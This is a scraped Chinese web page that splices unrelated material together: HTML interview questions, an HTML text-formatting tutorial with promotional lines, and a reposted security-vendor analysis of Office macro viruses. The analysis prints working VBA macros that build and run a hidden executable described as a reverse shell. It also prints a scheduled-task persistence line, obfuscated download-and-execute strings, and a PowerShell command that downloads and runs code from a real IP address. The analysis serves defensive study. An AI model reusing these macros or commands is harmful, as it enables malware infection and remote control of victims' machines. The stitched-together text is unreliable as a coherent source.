眾號【傳智播客博學谷】回復關鍵詞:前端 PS Java(100G) Python(80G) 大數據 區塊鏈 測試 PPT JS(40g+300教程) HTML 簡歷 領取相關學習資料!
一、HTML
1、<image>標簽上title屬性與alt屬性的區別是什么?
alt屬性是為了給那些不能看到你文檔中圖像的瀏覽者提供文字說明的。且長度必須少于100個英文字符或者用戶必須保證替換文字盡可能的短。
這包括那些使用本來就不支持圖像顯示或者圖像顯示被關閉的瀏覽器的用戶,視覺障礙的用戶和使用屏幕閱讀器的用戶等。
title屬性為設置該屬性的元素提供建議性的信息。使用title屬性提供非本質的額外信息。參考《alt和title屬性的區別及應用》
2、分別寫出以下幾個HTML標簽:文字加粗、下標、居中、字體
加粗:<b>、<strong>
下標:<sub>
居中:<center>
字體:<font>、<basefont>、參考《HTML標簽列表》
3、請寫出至少5個html5新增的標簽,并說明其語義和應用場景
section:定義文檔中的一個章節
nav:定義只包含導航鏈接的章節
header:定義頁面或章節的頭部。它經常包含 logo、頁面標題和導航性的目錄。
footer:定義頁面或章節的尾部。它經常包含版權信息、法律信息鏈接和反饋建議用的地址。
aside:定義和頁面內容關聯度較低的內容——如果被刪除,剩下的內容仍然很合理。
參考《HTML5 標簽列表》
4、請說說你對標簽語義化的理解?
a. 去掉或者丟失樣式的時候能夠讓頁面呈現出清晰的結構
b. 有利于SEO:和搜索引擎建立良好溝通,有助于爬蟲抓取更多的有效信息:爬蟲依賴于標簽來確定上下文和各個關鍵字的權重;
c. 方便其他設備解析(如屏幕閱讀器、盲人閱讀器、移動設備)以意義的方式來渲染網頁;
d. 便于團隊開發和維護,語義化更具可讀性,遵循W3C標準的團隊都遵循這個標準,可以減少差異化。
5、Doctype作用? 嚴格模式與混雜模式如何區分?它們有何意義?
聲明位于文檔中的最前面,處于 標簽之前。告知瀏覽器以何種模式來渲染文檔。
嚴格模式的排版和 JS 運作模式是,以該瀏覽器支持的最高標準運行。
在混雜模式中,頁面以寬松的向后兼容的方式顯示。模擬老式瀏覽器的行為以防止站點無法工作。
DOCTYPE不存在或格式不正確會導致文檔以混雜模式呈現。
6、你知道多少種Doctype文檔類型?
標簽可聲明三種 DTD 類型,分別表示嚴格版本、過渡版本以及基于框架的 HTML 文檔。
HTML 4.01 規定了三種文檔類型:Strict、Transitional 以及 Frameset。
XHTML 1.0 規定了三種 XML 文檔類型:Strict、Transitional 以及 Frameset。
Standards (標準)模式(也就是嚴格呈現模式)用于呈現遵循最新標準的網頁,
Quirks(包容)模式(也就是松散呈現模式或者兼容模式)用于呈現為傳統瀏覽器而設計的網頁。
7、HTML與XHTML——二者有什么區別
a. XHTML 元素必須被正確地嵌套。
b. XHTML 元素必須被關閉。
c. 標簽名必須用小寫字母。
d. XHTML 文檔必須擁有根元素。
參考《XHTML 與 HTML 之間的差異》
8、html5有哪些新特性、移除了那些元素?
a. HTML5 現在已經不是 SGML 的子集,主要是關于圖像,位置,存儲,多任務等功能的增加。
b. 拖拽釋放(Drag and drop) API
c. 語義化更好的內容標簽(header,nav,footer,aside,article,section)
d. 音頻、視頻API(audio,video)
e. 畫布(Canvas) API
f. 地理(Geolocation) API
g. 本地離線存儲 localStorage 長期存儲數據,瀏覽器關閉后數據不丟失
h. sessionStorage 的數據在頁面會話結束時會被清除
i. 表單控件,calendar、date、time、email、url、search
j. 新的技術webworker, websocket等
移除的元素:
a. 純表現的元素:basefont,big,center, s,strike,tt,u;
b. 對可用性產生負面影響的元素:frame,frameset,noframes;
9、iframe的優缺點?
優點:
a. 解決加載緩慢的第三方內容如圖標和廣告等的加載問題
b. iframe無刷新文件上傳
c. iframe跨域通信
缺點:
a. iframe會阻塞主頁面的Onload事件
b. 無法被一些搜索引擎索引到
c. 頁面會增加服務器的http請求
d. 會產生很多頁面,不容易管理。
參考《iframe的一些記錄》
10、Quirks模式是什么?它和Standards模式有什么區別?
在寫程序時我們也會經常遇到這樣的問題,如何保證原來的接口不變,又提供更強大的功能,尤其是新功能不兼容舊功能時。IE6以前的頁面大家都不會去寫DTD,所以IE6就假定 如果寫了DTD,就意味著這個頁面將采用對CSS支持更好的布局,而如果沒有,則采用兼容之前的布局方式。這就是Quirks模式(怪癖模式,詭異模式,怪異模式)。
區別:總體會有布局、樣式解析和腳本執行三個方面的區別。
a. 盒模型:在W3C標準中,如果設置一個元素的寬度和高度,指的是元素內容的寬度和高度,而在Quirks 模式下,IE的寬度和高度還包含了padding和border。
b. 設置行內元素的高寬:在Standards模式下,給等行內元素設置wdith和height都不會生效,而在quirks模式下,則會生效。
c. 設置百分比的高度:在standards模式下,一個元素的高度是由其包含的內容來決定的,如果父元素沒有設置百分比的高度,子元素設置一個百分比的高度是無效的用
d. 設置水平居中:使用margin:0 auto在standards模式下可以使元素水平居中,但在quirks模式下卻會失效。
11、請闡述table的缺點
a. 太深的嵌套,比如table>tr>td>h3,會導致搜索引擎讀取困難,而且,最直接的損失就是大大增加了冗余代碼量。
b. 靈活性差,比如要將tr設置border等屬性,是不行的,得通過td
c. 代碼臃腫,當在table中套用table的時候,閱讀代碼會顯得異?;靵y
d. 混亂的colspan與rowspan,用來布局時,頻繁使用他們會造成整個文檔順序混亂。
e. 不夠語義
參考《為什么說table表格布局不好?》
12、簡述一下src與href的區別
src用于替換當前元素;href用于在當前文檔和引用資源之間確立聯系。
src是source的縮寫,指向外部資源的位置,指向的內容將會嵌入到文檔中當前標簽所在位置
href是Hypertext Reference的縮寫,指向網絡資源所在位置,建立和當前元素(錨點)或當前文檔(鏈接)之間的鏈接
公眾號【傳智播客博學谷】回復關鍵詞:前端 PS Java Python 大數據 區塊鏈 測試 PPT JS HTML 簡歷 領取相關學習資料!
HTML文本格式化通常使用一系列特定的標簽來改變文本的外觀或結構。這些標簽可以控制文本的字體、大小、顏色、對齊方式等,也可以用來標記文本的邏輯結構(如段落、標題、列表等)。除了這些基本的格式化標簽,HTML還支持通過CSS(級聯樣式表)來更精細和靈活地控制文本的格式和樣式。
參考文檔:https://www.cjavapy.com/article/3306/
HTML中,文本格式化和結構化主要通過一系列標簽來完成,其中標題(Headings)標簽是最常用于定義文本格式的元素之一。HTML提供了六級標題標簽,從 <h1> 到 <h6>,<h1> 表示最高級別的標題,而 <h6> 表示最低級別的標題。這些標題標簽不僅幫助改善網頁的結構和可讀性,還對搜索引擎優化(SEO)至關重要,因為搜索引擎使用這些標簽來識別網頁上的不同部分和內容的層次結構。每個級別的標題都有默認的樣式,通常是不同的大小和加粗,以顯示它們的層次結構
<h1>這是一個 H1 標題</h1>
<h2>這是一個 H2 標題</h2>
<h3>這是一個 H3 標題</h3>
<h4>這是一個 H4 標題</h4>
<h5>這是一個 H5 標題</h5>
<h6>這是一個 H6 標題</h6>
HTML中,文本格式化通常涉及使用特定的標簽來控制文本的顯示方式。段落和換行是兩個基本但非常重要的文本格式化概念。用<p>創建段落,<br>插入換行。
1)段落 (<p> 標簽)
<p> 標簽自帶上下邊距,用以區分不同的段落。
<p>這是一個段落。</p>
<p>這是另一個段落。</p>
2)換行 (<br> 標簽)
<br> 標簽只是簡單地添加一個換行點,不添加任何額外的空間或邊距,并且通常用于詩歌或地址等需要精確控制換行位置的文本。
這是文本行的開始。<br>這是新的一行,但在同一個段落內。
使用<em>和<strong>強調文本。HTML中,強調文本通常使用 <em> 和 <strong> 標簽來實現。這兩個標簽既有語義意義,也影響文本的表現形式。
<em> 標簽用于表示強調文本,通常表現為斜體,用以表示文本的輕度強調。
<strong> 標簽用于表示更強烈的強調,通常表現為加粗,表示文本的高度強調。
<p>This is <em>emphasized</em> text.</p>
<p>This is <strong>strongly emphasized</strong> text.</p>
HTML 提供了兩種主要的列表類型:有序列表(<ol>)和無序列表(<ul>)。兩種類型都使用列表項(<li>)來定義列表中的實際項。
1)有序列表
有序列表以 <ol> 標簽開始。每個列表項都放在 <li> 標簽內。列表是有序的,也就是每個項目都是編號的。這適用于項目順序很重要的列表,如食譜或待辦事項列表。
<ol>
<li>第一項</li>
<li>第二項</li>
<li>第三項</li>
</ol>
2)無序列表
無序列表以 <ul> 標簽開始。像有序列表一樣,每個項都放在 <li> 標簽內。然而,無序列表中的項目不是編號的。使用圓點符號進行表示。這適用于項目順序不重要的列表,如購物清單。
<ul>
<li>蘋果</li>
<li>香蕉</li>
<li>橙子</li>
</ul>
<!DOCTYPE html>
<html>
<head>
<title>文本格式化示例</title>
</head>
<body>
<h1>HTML 文本格式化</h1>
<p>這是一個<em>斜體</em>和<strong>加粗</strong>的示例。</p>
<p><u>這段文本下劃線</u>和<s>這段文本是刪除線</s>。</p>
<p>化學水分子公式為H<sub>2</sub>O,E=mc<sup>2</sup>。</p>
<pre>
這是預格式化文本,
保留了空格和
換行符。
</pre>
<blockquote>這是一個長引用的示例,可能包含多個段落。</blockquote>
<p>這是一個<q>短引用</q>的示例。</p>
<p>使用<code>HTML</code>和<code>CSS</code>進行網頁設計。</p>
<p>按<kbd>Ctrl</kbd> + <kbd>C</kbd>復制文本。</p>
<p><samp>這是計算機程序的輸出。</samp></p>
<p>在JavaScript中,<var>x</var>可以作為變量。</p>
</body>
</html>
參考文檔:https://www.cjavapy.com/article/3306/
作為一類古老的病毒,宏病毒隨著勒索軟件的興起而卷土重來。尤其是在2016年,以Locky為代表的勒索軟件利用Office宏肆虐傳播,宏病毒也成為目前最活躍的病毒品種之一。
在與安全軟件的對抗中,宏病毒使用了多種手段隱藏其惡意代碼或數據,近期出現的新變種則是利用Excel表格的函數動態生成PE文件數據、設置遠距離存放位置、隱藏顯示、不同表切換等方式進行隱藏。接下來,360QEX引擎團隊將對宏病毒代碼流行的三類“隱身術”進行逐一揭秘。
virustotal 掃描結果:
樣本對自身 VBAProject 進行了加密,
破解之后,看到了宏代碼執行入口函數 Auto_Open,
Sub Auto_Open() On Error Resume Next Application.DisplayAlerts = False Dim WB As Workbook Set WB = ActiveWorkbook Dim Sh1, Sh2, sh3 As Worksheet Set Sh1 = WB.Sheets(1) Set Sh2 = WB.Sheets(2) Set sh3 = WB.Sheets(3) Dim str As String str = Sh2.Cells(996, 40) Dim t As Date t = Now + TimeSerial(0, 0, 1) Application.OnTime t, str End Sub
病毒作者使用 Application.OnTime 函數,間隔 1 秒,執行 字符串 “str” ,”str” 的值是從表格 Cells(996, 40) 中獲取,當去查看表格中該處值時發現病毒更改了Excel單元格格式 ,把數據隱藏顯示。
單元格格式設置為三個 ;;; 時,單元格內容就會被隱藏。
單元格的格式默認是顯示的,初始設置為,
去掉隱藏后,查看表格中該值是 Fnslr12 , 即病毒的功能入口函數名稱,函數代碼為,
Sub Fnslr12() On Error Resume Next Application.DisplayAlerts = False Call Build Sheets(1).Select Dim WB As Workbook Set WB = ActiveWorkbook Dim Sh1, Sh2, sh3 As Worksheet Set Sh1 = WB.Sheets(1) Set Sh2 = WB.Sheets(2) If Cells(2, 1) <> "" Then GoTo skyhigh End If ''' 以下省略
因此,該函數為病毒代碼的主功能函數。
此函數的功能有,
1、Call Build
調用 Build 函數, Build 函數功能為:在表格中動態生成,待寫入 可執行文件(pe文件)所需的數據,其功能代碼簡略如下,
Sub Build() Sheets(2).Select Set WB = ActiveWorkbook Set Sh1 = WB.Sheets(1) Set Sh2 = WB.Sheets(2) 'bob location i = Sh2.Cells(1000, 12) j = Sh2.Cells(1000, 13) 'index table location R = Sh2.Cells(1000, 10) C = Sh2.Cells(1000, 11) Counter = R Do While Sh2.Cells(Counter, C) <> "" If Sh2.Cells(Counter, C + 1) <> "" Then S1 = Sh2.Cells(Counter, C) S2 = Sh2.Cells(Counter, C + 1) End If Counter = Counter + 1 Loop Cells(i, j).Select Range(Selection, Selection.End(xlDown)).Select Selection.Cut Range("i1001").Select ActiveSheet.Paste Cells(1, 1).Select End Sub
函數運行結果為,在 1001 行往下,依次每行填入數據。
2、對是否運行過一次做檢查
If Cells(2, 1) <> "" Then GoTo skyhigh End If
當運行過一次之后, Cells(2,1) 表格會被寫入值,會在這里進入語句 Then ,執行 “Goto skyhigh” 語句, “skyhigh” 標記定位在函數尾部,即執行該語句后會退出該函數。
3
從代碼意圖猜測,病毒作者想在 %userprofile% AppDataRoamingMicrosoftTemplates 生成一個名為Macro1.vbs 的vbs文件 ,
Dim Fnslr1 As String Dim Fnslr2 As String Fnslr2 = Environ(Sh2.Cells(998, 40)) & "AppDataRoamingMicrosoftTemplatesMacro1.vbs" ChDrive (Fnslr2) If Dir(Fnslr2) = "" Then Else End If
其中,病毒拼湊生成文件的目錄路徑時,從表格 2 的Cells(998, 40) 中讀取 ,該值為環境變量值 userprofile.
只是,病毒作者并沒有繼續完善相關代碼。實際測試運行樣本也并沒有生成該文件,猜測可能作者后續加入該功能,或者該功能已經被取消。
4
在 %serprofile% AppDataRoamingMicrosoftTemplates 目錄生成可執行文件 Macro1.exe,
Dim i As Double i = 1000 Fnslr1 = "Macro1.exe" Fnslr2 = Environ(Sh2.Cells(998, 40)) & "AppDataRoamingMicrosoftTemplates" Fnslr3 = FreeFile() Open Fnslr1 For Binary As Fnslr3 Do While Sh2.Cells(i, 9) <> "" Fnslr11 = Sh2.Cells(i, 9) If (Fnslr9 = True) Then Fnslr8 = 1 Do While (Fnslr8 < Len(Fnslr11)) Fnslr6 = Sh2.Cells(997, 40) & Mid(Fnslr11, Fnslr8, 3) Put #Fnslr3, , Fnslr6 Fnslr8 = Fnslr8 + 3 Loop End If If Fnslr9 = False Then Fnslr9 = True End If i = i + 1 Loop Close #Fnslr3 Dim Fnslr10 As String Fnslr10 = Fnslr1 Fnslr7 = Shell(Fnslr10, vbHide) Dim i As Double i = 1000 Fnslr1 = "Macro1.exe" Fnslr2 = Environ(Sh2.Cells(998, 40)) & "AppDataRoamingMicrosoftTemplates" Fnslr3 = FreeFile() Open Fnslr1 For Binary As Fnslr3 Do While Sh2.Cells(i, 9) <> "" Fnslr11 = Sh2.Cells(i, 9) If (Fnslr9 = True) Then Fnslr8 = 1 Do While (Fnslr8 < Len(Fnslr11)) Fnslr6 = Sh2.Cells(997, 40) & Mid(Fnslr11, Fnslr8, 3) Put #Fnslr3, , Fnslr6 Fnslr8 = Fnslr8 + 3 Loop End If If Fnslr9 = False Then Fnslr9 = True End If i = i + 1 Loop Close #Fnslr3 Dim Fnslr10 As String Fnslr10 = Fnslr1 Fnslr7 = Shell(Fnslr10, vbHide)
寫入 Macro1.exe 所需的數據,從 Excel 表格中 Cells(997, 40) 周圍讀取,實際測試數據開始位置是 1001行,
代碼尾部使用 Shell 函數,啟動生成的 Macro1.exe 。
文件信息
可執行文件是 x64位的,功能是,啟動 powershell 附帶 –enc 參數,執行一段 shellcode ,這段 shellcode是一個 reverse shell ,連接黑客服務器,等待下達命令。
此部分與下面創建計劃任務不間斷運行的功能呼應起來,此部分不是本文重點,不再詳述。
5、
在 %serprofile% AppDataRoamingMicrosoftTemplates 目錄生成 bat (cmd) 批處理腳本文件 Macro1.bat,
Fnslr2 = Environ(Sh2.Cells(998, 40)) & "AppDataRoamingMicrosoftTemplates" Dim User As String User = Environ(Sh2.Cells(998, 40)) Fname = Fnslr2 & "Macro1.bat" FNum = FreeFile Open Fname For Output Access Write As #FNum WholeLine = "SchTasks /Create /SC HOURLY /TN " & Sh2.Cells(1000, 3) & "Macro1" & Sh2.Cells(1000, 3) & " /TR" & " " & User & "AppDataRoamingMicrosoftTemplates" & "Macro1.exe /ST 01:00" Print #FNum, WholeLine Close #FNum Dim TempFileName As String TempFileName = Fnslr2 & "Macro1.bat" Shell TempFileName, vbHide
尾部使用 Shell 函數 啟動該腳本,結果是在用戶機器創建了一個計劃任務, 每隔一小時運行一次 上面生成的 Macro1.exe 。
6、彈窗顯示輸入密碼才能繼續進行運行
pword = InputBox("Please enter a password to proceed", "Password Required", "*******") Select Case pword Case Is = "" MsgBox "Try Again" Case "Alon2016" RP = 1 Case Is <> "Alon2016" MsgBox "Try Again" End Select
從病毒代碼中知道,要求輸入的密碼是 “Alon2016” 。
7、
接下來是現場清理和掩飾,刪除調用Build 函數在表格生成的數據,在表格的開頭顯著位置填入在其他表格中保存的郵件收件人地址信息,
小結:該樣本的特別之處有:
此類病毒把部分代碼隱藏到 VBA 工程中的 用戶控件(User Form)中,甚至把帶有代碼的控件最小化,使之不易被看到。
virustotal 掃描結果:
查看該文件的宏,
此文件看起來像是正常的SQL操作類的宏代碼,但是當我們查看窗體 Ultra 時發現,
有個控件的Caption中存放了可疑數據如下,
D!icrobrioft.XD!LHTTP10)Adodb.britr00aD!10)brih00ll.Application10)Wbricript.brih00ll10)Proc00bribri10)G00T10)T00D!P10)Typ0010)op00n10)writ0010)r00briponbri00Body10)briav00tofil0010)hendib00.00x00
此數據在宏代碼中被使用的位置為,
CadenaCurrency(Ultra.CommandButton3.Caption, "00", "e")
其中,CadenaCurrency 是一個簡單的 Replace 調用,
Public Function CadenaCurrency(A1 As String, A2 As String, A3 As String) As String CadenaCurrency = Replace(A1, A2, A3) End Function
解密方法是,
Dim aproblems As String aproblems = CadenaCurrency(Ultra.CommandButton3.Caption, "00", "e") aproblems = CadenaCurrency(aproblems, "D!", "M") aproblems = CadenaCurrency(aproblems, "bri", "s") constans_problems = Split(aproblems, "10)")
解密為,
Microsoft.XMLHTTP Adodb.stream shell.Application Wscript.shell Process GeT Temp Type open write responseBody savetofile hendibe.exe
幾個字符串呈現出非常明顯的意圖,下載(Microsoft.XMLHTTP)+ 寫文件(Adodb.stream)+ 執行(shell.Application / Wscript.shell)。
此樣本因為代碼有問題,沒能成功運行起來。找到宏代碼中使用 Microsoft.XMLHTTP 對象下載文件的位置,加上斷點調試,起先因為作者疏忽,忘記書寫一個雙引號,導致編譯失敗,
之后,運行到下載文件處時,出現了報錯。
此類病毒把代碼核心惡意部分放入文檔的內建屬性中。
virustotal 掃描結果:
此樣本的vba 宏代碼只有1個文件,很簡短,
Attribute VB_Name = "NewMacros" Sub Auto_Open() Call winshell End Sub Sub AutoOpen() Call winshell End Sub Function winshell() As Object On Error Resume Next Err.Clear Dim ps As String ps = ActiveDocument.BuiltInDocumentProperties("Manager").Value Dim Obj As Object Set Obj = CreateObject("WScript.Shell") Obj.Run ps, 0 Application.DisplayAlerts = False End Function
響應兩個文檔打開事件,AutoOpen 與Auto_Open,直接執行 winshell函數, winshell函數讀取文件內建屬性,Manager 的值,直接執行起來。Manager值,我們使用右鍵文件屬性,查看為,
powershell.exe -nop -w hidden -c $b=new-object net.webclient;$b.proxy=[Net.WebRequest]::GetSystemWebProxy();$b.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $b.downloadstring('http://37.28.154.204:8081/ygklKbyIVG51Kol');
是一段 Powershell 執行的腳本代碼,從指定 URL (http://37.28.154.204:8081/ygklKbyIVG51Kol) 下載文件。目前測試此URL已經無法訪問。
以加密勒索為代表的病毒,越來越多的使用Office宏,js,vbs等非Pe文件來傳播。通過腳本代碼動態向Windows 目錄中釋放可執行文件或者從服務器下載可執行文件。
非PE病毒查殺引擎QEX是 360安全產品中負責查殺宏病毒及vbs、js、html等腳本病毒的獨有引擎。上述樣本QEX引擎均已查殺。
在這里也提醒 Microsoft Office 文檔系列軟件的使用用戶,
原創文章,作者:Drops,轉載自:http://www.mottoin.com/tech/115043.html,有刪減
*請認真填寫需求信息,我們會在24小時內與您取得聯系。